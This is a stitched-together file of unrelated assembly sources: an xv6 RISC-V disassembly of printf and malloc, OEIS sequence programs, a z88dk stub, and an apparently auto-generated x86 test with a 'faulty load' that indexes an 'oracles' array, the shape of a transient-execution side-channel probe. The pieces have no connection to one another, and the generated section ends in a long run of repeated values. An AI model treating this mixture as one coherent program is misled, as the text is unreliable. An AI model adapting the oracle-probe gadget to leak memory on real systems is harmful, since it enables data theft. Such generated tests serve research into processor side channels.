static void
putc(int fd, char c)
{
376: 1101 addi sp,sp,-32
378: ec06 sd ra,24(sp)
37a: e822 sd s0,16(sp)
37c: 1000 addi s0,sp,32
37e: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
382: 4605 li a2,1
384: fef40593 addi a1,s0,-17
388: 00000097 auipc ra,0x0
38c: f66080e7 jalr -154(ra) # 2ee <write>
}
390: 60e2 ld ra,24(sp)
392: 6442 ld s0,16(sp)
394: 6105 addi sp,sp,32
396: 8082 ret
0000000000000398 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
398: 7139 addi sp,sp,-64
39a: fc06 sd ra,56(sp)
39c: f822 sd s0,48(sp)
39e: f426 sd s1,40(sp)
3a0: f04a sd s2,32(sp)
3a2: ec4e sd s3,24(sp)
3a4: 0080 addi s0,sp,64
3a6: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
3a8: c299 beqz a3,3ae <printint+0x16>
3aa: 0805c863 bltz a1,43a <printint+0xa2>
neg = 1;
x = -xx;
} else {
x = xx;
3ae: 2581 sext.w a1,a1
neg = 0;
3b0: 4881 li a7,0
3b2: fc040693 addi a3,s0,-64
}
i = 0;
3b6: 4701 li a4,0
do{
buf[i++] = digits[x % base];
3b8: 2601 sext.w a2,a2
3ba: 00000517 auipc a0,0x0
3be: 47650513 addi a0,a0,1142 # 830 <digits>
3c2: 883a mv a6,a4
3c4: 2705 addiw a4,a4,1
3c6: 02c5f7bb remuw a5,a1,a2
3ca: 1782 slli a5,a5,0x20
3cc: 9381 srli a5,a5,0x20
3ce: 97aa add a5,a5,a0
3d0: 0007c783 lbu a5,0(a5)
3d4: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
3d8: 0005879b sext.w a5,a1
3dc: 02c5d5bb divuw a1,a1,a2
3e0: 0685 addi a3,a3,1
3e2: fec7f0e3 bgeu a5,a2,3c2 <printint+0x2a>
if(neg)
3e6: 00088b63 beqz a7,3fc <printint+0x64>
buf[i++] = '-';
3ea: fd040793 addi a5,s0,-48
3ee: 973e add a4,a4,a5
3f0: 02d00793 li a5,45
3f4: fef70823 sb a5,-16(a4)
3f8: 0028071b addiw a4,a6,2
while(--i >= 0)
3fc: 02e05863 blez a4,42c <printint+0x94>
400: fc040793 addi a5,s0,-64
404: 00e78933 add s2,a5,a4
408: fff78993 addi s3,a5,-1
40c: 99ba add s3,s3,a4
40e: 377d addiw a4,a4,-1
410: 1702 slli a4,a4,0x20
412: 9301 srli a4,a4,0x20
414: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
418: fff94583 lbu a1,-1(s2)
41c: 8526 mv a0,s1
41e: 00000097 auipc ra,0x0
422: f58080e7 jalr -168(ra) # 376 <putc>
while(--i >= 0)
426: 197d addi s2,s2,-1
428: ff3918e3 bne s2,s3,418 <printint+0x80>
}
42c: 70e2 ld ra,56(sp)
42e: 7442 ld s0,48(sp)
430: 74a2 ld s1,40(sp)
432: 7902 ld s2,32(sp)
434: 69e2 ld s3,24(sp)
436: 6121 addi sp,sp,64
438: 8082 ret
x = -xx;
43a: 40b005bb negw a1,a1
neg = 1;
43e: 4885 li a7,1
x = -xx;
440: bf8d j 3b2 <printint+0x1a>
0000000000000442 <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
442: 7119 addi sp,sp,-128
444: fc86 sd ra,120(sp)
446: f8a2 sd s0,112(sp)
448: f4a6 sd s1,104(sp)
44a: f0ca sd s2,96(sp)
44c: ecce sd s3,88(sp)
44e: e8d2 sd s4,80(sp)
450: e4d6 sd s5,72(sp)
452: e0da sd s6,64(sp)
454: fc5e sd s7,56(sp)
456: f862 sd s8,48(sp)
458: f466 sd s9,40(sp)
45a: f06a sd s10,32(sp)
45c: ec6e sd s11,24(sp)
45e: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
460: 0005c903 lbu s2,0(a1)
464: 18090f63 beqz s2,602 <vprintf+0x1c0>
468: 8aaa mv s5,a0
46a: 8b32 mv s6,a2
46c: 00158493 addi s1,a1,1
state = 0;
470: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
472: 02500a13 li s4,37
if(c == 'd'){
476: 06400c13 li s8,100
printint(fd, va_arg(ap, int), 10, 1);
} else if(c == 'l') {
47a: 06c00c93 li s9,108
printint(fd, va_arg(ap, uint64), 10, 0);
} else if(c == 'x') {
47e: 07800d13 li s10,120
printint(fd, va_arg(ap, int), 16, 0);
} else if(c == 'p') {
482: 07000d93 li s11,112
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
486: 00000b97 auipc s7,0x0
48a: 3aab8b93 addi s7,s7,938 # 830 <digits>
48e: a839 j 4ac <vprintf+0x6a>
putc(fd, c);
490: 85ca mv a1,s2
492: 8556 mv a0,s5
494: 00000097 auipc ra,0x0
498: ee2080e7 jalr -286(ra) # 376 <putc>
49c: a019 j 4a2 <vprintf+0x60>
} else if(state == '%'){
49e: 01498f63 beq s3,s4,4bc <vprintf+0x7a>
for(i = 0; fmt[i]; i++){
4a2: 0485 addi s1,s1,1
4a4: fff4c903 lbu s2,-1(s1)
4a8: 14090d63 beqz s2,602 <vprintf+0x1c0>
c = fmt[i] & 0xff;
4ac: 0009079b sext.w a5,s2
if(state == 0){
4b0: fe0997e3 bnez s3,49e <vprintf+0x5c>
if(c == '%'){
4b4: fd479ee3 bne a5,s4,490 <vprintf+0x4e>
state = '%';
4b8: 89be mv s3,a5
4ba: b7e5 j 4a2 <vprintf+0x60>
if(c == 'd'){
4bc: 05878063 beq a5,s8,4fc <vprintf+0xba>
} else if(c == 'l') {
4c0: 05978c63 beq a5,s9,518 <vprintf+0xd6>
} else if(c == 'x') {
4c4: 07a78863 beq a5,s10,534 <vprintf+0xf2>
} else if(c == 'p') {
4c8: 09b78463 beq a5,s11,550 <vprintf+0x10e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
4cc: 07300713 li a4,115
4d0: 0ce78663 beq a5,a4,59c <vprintf+0x15a>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4d4: 06300713 li a4,99
4d8: 0ee78e63 beq a5,a4,5d4 <vprintf+0x192>
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
4dc: 11478863 beq a5,s4,5ec <vprintf+0x1aa>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
4e0: 85d2 mv a1,s4
4e2: 8556 mv a0,s5
4e4: 00000097 auipc ra,0x0
4e8: e92080e7 jalr -366(ra) # 376 <putc>
putc(fd, c);
4ec: 85ca mv a1,s2
4ee: 8556 mv a0,s5
4f0: 00000097 auipc ra,0x0
4f4: e86080e7 jalr -378(ra) # 376 <putc>
}
state = 0;
4f8: 4981 li s3,0
4fa: b765 j 4a2 <vprintf+0x60>
printint(fd, va_arg(ap, int), 10, 1);
4fc: 008b0913 addi s2,s6,8
500: 4685 li a3,1
502: 4629 li a2,10
504: 000b2583 lw a1,0(s6)
508: 8556 mv a0,s5
50a: 00000097 auipc ra,0x0
50e: e8e080e7 jalr -370(ra) # 398 <printint>
512: 8b4a mv s6,s2
state = 0;
514: 4981 li s3,0
516: b771 j 4a2 <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
518: 008b0913 addi s2,s6,8
51c: 4681 li a3,0
51e: 4629 li a2,10
520: 000b2583 lw a1,0(s6)
524: 8556 mv a0,s5
526: 00000097 auipc ra,0x0
52a: e72080e7 jalr -398(ra) # 398 <printint>
52e: 8b4a mv s6,s2
state = 0;
530: 4981 li s3,0
532: bf85 j 4a2 <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
534: 008b0913 addi s2,s6,8
538: 4681 li a3,0
53a: 4641 li a2,16
53c: 000b2583 lw a1,0(s6)
540: 8556 mv a0,s5
542: 00000097 auipc ra,0x0
546: e56080e7 jalr -426(ra) # 398 <printint>
54a: 8b4a mv s6,s2
state = 0;
54c: 4981 li s3,0
54e: bf91 j 4a2 <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
550: 008b0793 addi a5,s6,8
554: f8f43423 sd a5,-120(s0)
558: 000b3983 ld s3,0(s6)
putc(fd, '0');
55c: 03000593 li a1,48
560: 8556 mv a0,s5
562: 00000097 auipc ra,0x0
566: e14080e7 jalr -492(ra) # 376 <putc>
putc(fd, 'x');
56a: 85ea mv a1,s10
56c: 8556 mv a0,s5
56e: 00000097 auipc ra,0x0
572: e08080e7 jalr -504(ra) # 376 <putc>
576: 4941 li s2,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
578: 03c9d793 srli a5,s3,0x3c
57c: 97de add a5,a5,s7
57e: 0007c583 lbu a1,0(a5)
582: 8556 mv a0,s5
584: 00000097 auipc ra,0x0
588: df2080e7 jalr -526(ra) # 376 <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
58c: 0992 slli s3,s3,0x4
58e: 397d addiw s2,s2,-1
590: fe0914e3 bnez s2,578 <vprintf+0x136>
printptr(fd, va_arg(ap, uint64));
594: f8843b03 ld s6,-120(s0)
state = 0;
598: 4981 li s3,0
59a: b721 j 4a2 <vprintf+0x60>
s = va_arg(ap, char*);
59c: 008b0993 addi s3,s6,8
5a0: 000b3903 ld s2,0(s6)
if(s == 0)
5a4: 02090163 beqz s2,5c6 <vprintf+0x184>
while(*s != 0){
5a8: 00094583 lbu a1,0(s2)
5ac: c9a1 beqz a1,5fc <vprintf+0x1ba>
putc(fd, *s);
5ae: 8556 mv a0,s5
5b0: 00000097 auipc ra,0x0
5b4: dc6080e7 jalr -570(ra) # 376 <putc>
s++;
5b8: 0905 addi s2,s2,1
while(*s != 0){
5ba: 00094583 lbu a1,0(s2)
5be: f9e5 bnez a1,5ae <vprintf+0x16c>
s = va_arg(ap, char*);
5c0: 8b4e mv s6,s3
state = 0;
5c2: 4981 li s3,0
5c4: bdf9 j 4a2 <vprintf+0x60>
s = "(null)";
5c6: 00000917 auipc s2,0x0
5ca: 26290913 addi s2,s2,610 # 828 <malloc+0x11c>
while(*s != 0){
5ce: 02800593 li a1,40
5d2: bff1 j 5ae <vprintf+0x16c>
putc(fd, va_arg(ap, uint));
5d4: 008b0913 addi s2,s6,8
5d8: 000b4583 lbu a1,0(s6)
5dc: 8556 mv a0,s5
5de: 00000097 auipc ra,0x0
5e2: d98080e7 jalr -616(ra) # 376 <putc>
5e6: 8b4a mv s6,s2
state = 0;
5e8: 4981 li s3,0
5ea: bd65 j 4a2 <vprintf+0x60>
putc(fd, c);
5ec: 85d2 mv a1,s4
5ee: 8556 mv a0,s5
5f0: 00000097 auipc ra,0x0
5f4: d86080e7 jalr -634(ra) # 376 <putc>
state = 0;
5f8: 4981 li s3,0
5fa: b565 j 4a2 <vprintf+0x60>
s = va_arg(ap, char*);
5fc: 8b4e mv s6,s3
state = 0;
5fe: 4981 li s3,0
600: b54d j 4a2 <vprintf+0x60>
}
}
}
602: 70e6 ld ra,120(sp)
604: 7446 ld s0,112(sp)
606: 74a6 ld s1,104(sp)
608: 7906 ld s2,96(sp)
60a: 69e6 ld s3,88(sp)
60c: 6a46 ld s4,80(sp)
60e: 6aa6 ld s5,72(sp)
610: 6b06 ld s6,64(sp)
612: 7be2 ld s7,56(sp)
614: 7c42 ld s8,48(sp)
616: 7ca2 ld s9,40(sp)
618: 7d02 ld s10,32(sp)
61a: 6de2 ld s11,24(sp)
61c: 6109 addi sp,sp,128
61e: 8082 ret
0000000000000620 <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
620: 715d addi sp,sp,-80
622: ec06 sd ra,24(sp)
624: e822 sd s0,16(sp)
626: 1000 addi s0,sp,32
628: e010 sd a2,0(s0)
62a: e414 sd a3,8(s0)
62c: e818 sd a4,16(s0)
62e: ec1c sd a5,24(s0)
630: 03043023 sd a6,32(s0)
634: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
638: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
63c: 8622 mv a2,s0
63e: 00000097 auipc ra,0x0
642: e04080e7 jalr -508(ra) # 442 <vprintf>
}
646: 60e2 ld ra,24(sp)
648: 6442 ld s0,16(sp)
64a: 6161 addi sp,sp,80
64c: 8082 ret
000000000000064e <printf>:
void
printf(const char *fmt, ...)
{
64e: 711d addi sp,sp,-96
650: ec06 sd ra,24(sp)
652: e822 sd s0,16(sp)
654: 1000 addi s0,sp,32
656: e40c sd a1,8(s0)
658: e810 sd a2,16(s0)
65a: ec14 sd a3,24(s0)
65c: f018 sd a4,32(s0)
65e: f41c sd a5,40(s0)
660: 03043823 sd a6,48(s0)
664: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
668: 00840613 addi a2,s0,8
66c: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
670: 85aa mv a1,a0
672: 4505 li a0,1
674: 00000097 auipc ra,0x0
678: dce080e7 jalr -562(ra) # 442 <vprintf>
}
67c: 60e2 ld ra,24(sp)
67e: 6442 ld s0,16(sp)
680: 6125 addi sp,sp,96
682: 8082 ret
0000000000000684 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
684: 1141 addi sp,sp,-16
686: e422 sd s0,8(sp)
688: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
68a: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
68e: 00000797 auipc a5,0x0
692: 1ba7b783 ld a5,442(a5) # 848 <freep>
696: a805 j 6c6 <free+0x42>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
698: 4618 lw a4,8(a2)
69a: 9db9 addw a1,a1,a4
69c: feb52c23 sw a1,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
6a0: 6398 ld a4,0(a5)
6a2: 6318 ld a4,0(a4)
6a4: fee53823 sd a4,-16(a0)
6a8: a091 j 6ec <free+0x68>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
6aa: ff852703 lw a4,-8(a0)
6ae: 9e39 addw a2,a2,a4
6b0: c790 sw a2,8(a5)
p->s.ptr = bp->s.ptr;
6b2: ff053703 ld a4,-16(a0)
6b6: e398 sd a4,0(a5)
6b8: a099 j 6fe <free+0x7a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6ba: 6398 ld a4,0(a5)
6bc: 00e7e463 bltu a5,a4,6c4 <free+0x40>
6c0: 00e6ea63 bltu a3,a4,6d4 <free+0x50>
{
6c4: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6c6: fed7fae3 bgeu a5,a3,6ba <free+0x36>
6ca: 6398 ld a4,0(a5)
6cc: 00e6e463 bltu a3,a4,6d4 <free+0x50>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6d0: fee7eae3 bltu a5,a4,6c4 <free+0x40>
if(bp + bp->s.size == p->s.ptr){
6d4: ff852583 lw a1,-8(a0)
6d8: 6390 ld a2,0(a5)
6da: 02059813 slli a6,a1,0x20
6de: 01c85713 srli a4,a6,0x1c
6e2: 9736 add a4,a4,a3
6e4: fae60ae3 beq a2,a4,698 <free+0x14>
bp->s.ptr = p->s.ptr;
6e8: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
6ec: 4790 lw a2,8(a5)
6ee: 02061593 slli a1,a2,0x20
6f2: 01c5d713 srli a4,a1,0x1c
6f6: 973e add a4,a4,a5
6f8: fae689e3 beq a3,a4,6aa <free+0x26>
} else
p->s.ptr = bp;
6fc: e394 sd a3,0(a5)
freep = p;
6fe: 00000717 auipc a4,0x0
702: 14f73523 sd a5,330(a4) # 848 <freep>
}
706: 6422 ld s0,8(sp)
708: 0141 addi sp,sp,16
70a: 8082 ret
000000000000070c <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
70c: 7139 addi sp,sp,-64
70e: fc06 sd ra,56(sp)
710: f822 sd s0,48(sp)
712: f426 sd s1,40(sp)
714: f04a sd s2,32(sp)
716: ec4e sd s3,24(sp)
718: e852 sd s4,16(sp)
71a: e456 sd s5,8(sp)
71c: e05a sd s6,0(sp)
71e: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
720: 02051493 slli s1,a0,0x20
724: 9081 srli s1,s1,0x20
726: 04bd addi s1,s1,15
728: 8091 srli s1,s1,0x4
72a: 0014899b addiw s3,s1,1
72e: 0485 addi s1,s1,1
if((prevp = freep) == 0){
730: 00000517 auipc a0,0x0
734: 11853503 ld a0,280(a0) # 848 <freep>
738: c515 beqz a0,764 <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
73a: 611c ld a5,0(a0)
if(p->s.size >= nunits){
73c: 4798 lw a4,8(a5)
73e: 02977f63 bgeu a4,s1,77c <malloc+0x70>
742: 8a4e mv s4,s3
744: 0009871b sext.w a4,s3
748: 6685 lui a3,0x1
74a: 00d77363 bgeu a4,a3,750 <malloc+0x44>
74e: 6a05 lui s4,0x1
750: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
754: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep){
758: 00000917 auipc s2,0x0
75c: 0f090913 addi s2,s2,240 # 848 <freep>
if(p == (char*)-1)
760: 5afd li s5,-1
762: a895 j 7d6 <malloc+0xca>
base.s.ptr = freep = prevp = &base;
764: 00000797 auipc a5,0x0
768: 0ec78793 addi a5,a5,236 # 850 <base>
76c: 00000717 auipc a4,0x0
770: 0cf73e23 sd a5,220(a4) # 848 <freep>
774: e39c sd a5,0(a5)
base.s.size = 0;
776: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
77a: b7e1 j 742 <malloc+0x36>
if(p->s.size == nunits)
77c: 02e48c63 beq s1,a4,7b4 <malloc+0xa8>
p->s.size -= nunits;
780: 4137073b subw a4,a4,s3
784: c798 sw a4,8(a5)
p += p->s.size;
786: 02071693 slli a3,a4,0x20
78a: 01c6d713 srli a4,a3,0x1c
78e: 97ba add a5,a5,a4
p->s.size = nunits;
790: 0137a423 sw s3,8(a5)
freep = prevp;
794: 00000717 auipc a4,0x0
798: 0aa73a23 sd a0,180(a4) # 848 <freep>
return (void*)(p + 1);
79c: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0){
return 0;
}
}
}
}
7a0: 70e2 ld ra,56(sp)
7a2: 7442 ld s0,48(sp)
7a4: 74a2 ld s1,40(sp)
7a6: 7902 ld s2,32(sp)
7a8: 69e2 ld s3,24(sp)
7aa: 6a42 ld s4,16(sp)
7ac: 6aa2 ld s5,8(sp)
7ae: 6b02 ld s6,0(sp)
7b0: 6121 addi sp,sp,64
7b2: 8082 ret
prevp->s.ptr = p->s.ptr;
7b4: 6398 ld a4,0(a5)
7b6: e118 sd a4,0(a0)
7b8: bff1 j 794 <malloc+0x88>
hp->s.size = nu;
7ba: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
7be: 0541 addi a0,a0,16
7c0: 00000097 auipc ra,0x0
7c4: ec4080e7 jalr -316(ra) # 684 <free>
return freep;
7c8: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0){
7cc: d971 beqz a0,7a0 <malloc+0x94>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7ce: 611c ld a5,0(a0)
if(p->s.size >= nunits){
7d0: 4798 lw a4,8(a5)
7d2: fa9775e3 bgeu a4,s1,77c <malloc+0x70>
if(p == freep){
7d6: 00093703 ld a4,0(s2)
7da: 853e mv a0,a5
7dc: fef719e3 bne a4,a5,7ce <malloc+0xc2>
p = sbrk(nu * sizeof(Header));
7e0: 8552 mv a0,s4
7e2: 00000097 auipc ra,0x0
7e6: b74080e7 jalr -1164(ra) # 356 <sbrk>
if(p == (char*)-1)
7ea: fd5518e3 bne a0,s5,7ba <malloc+0xae>
return 0;
7ee: 4501 li a0,0
7f0: bf45 j 7a0 <malloc+0x94>
|
; A168282: (10*n + 5*(-1)^n - 1)/4.
; 1,6,6,11,11,16,16,21,21,26,26,31,31,36,36,41,41,46,46,51,51,56,56,61,61,66,66,71,71,76,76,81,81,86,86,91,91,96,96,101,101,106,106,111,111,116,116,121,121,126,126,131,131,136,136,141,141,146,146,151,151,156,156,161,161,166,166,171,171,176,176,181,181,186,186,191,191,196,196,201,201,206,206,211,211,216,216,221,221,226,226,231,231,236,236,241,241,246,246,251
mov $1,1
add $1,$0
div $1,2
mul $1,5
add $1,1
mov $0,$1
|
; A166445: Hankel transform of A025276.
; 1,0,-1,1,3,0,-3,1,5,0,-5,1,7,0,-7,1,9,0,-9,1,11,0,-11,1,13,0,-13,1,15,0,-15,1,17,0,-17,1,19,0,-19,1,21,0,-21,1,23,0,-23,1,25,0,-25,1,27,0,-27,1,29,0,-29,1,31,0,-31,1,33,0,-33,1,35,0,-35,1
mov $1,$0
add $1,1
mov $2,2
lpb $1
sub $1,1
add $2,$0
sub $0,$2
sub $0,$2
lpe
mov $0,$3
add $2,1
div $2,2
mul $2,2
add $0,$2
div $0,2
|
SECTION code_fp_math48
PUBLIC ___fsneq
EXTERN cm48_sdccixp_dsneq
defc ___fsneq = cm48_sdccixp_dsneq
|
; A057072: floor[10^10/n].
; 10000000000,5000000000,3333333333,2500000000,2000000000,1666666666,1428571428,1250000000,1111111111,1000000000,909090909,833333333,769230769,714285714,666666666,625000000,588235294,555555555,526315789
add $0,1
mov $1,10000000000
div $1,$0
mov $0,$1
|
; A016233: Expansion of 1/((1-x)(1-5x)(1-8x)).
; Submitted by Jamie Morken(s1)
; 1,14,143,1300,11181,93354,766363,6228560,50316761,404975494,3252010983,26077123020,208922159941,1672903158434,13390854662003,107164984268680,857510609012721,6861038546418174,54893076742927423
mov $2,1
lpb $0
sub $0,1
add $1,$2
mul $1,8
mul $2,5
add $2,1
lpe
add $1,$2
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xb62e, %r10
cmp $53036, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
vmovups %ymm3, (%r10)
sub $51217, %rbp
lea addresses_WT_ht+0x8a6e, %r15
nop
nop
nop
nop
xor $38596, %r8
mov (%r15), %ecx
nop
inc %rbp
lea addresses_D_ht+0x166ce, %rsi
lea addresses_UC_ht+0x15eb8, %rdi
nop
add $62880, %rdx
mov $23, %rcx
rep movsb
xor $40200, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %r9
push %rcx
push %rdi
// Faulty Load
lea addresses_UC+0xe66e, %r9
nop
add %rcx, %rcx
mov (%r9), %di
lea oracles, %r11
and $0xff, %rdi
shlq $12, %rdi
mov (%r11,%rdi,1), %rdi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 6}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.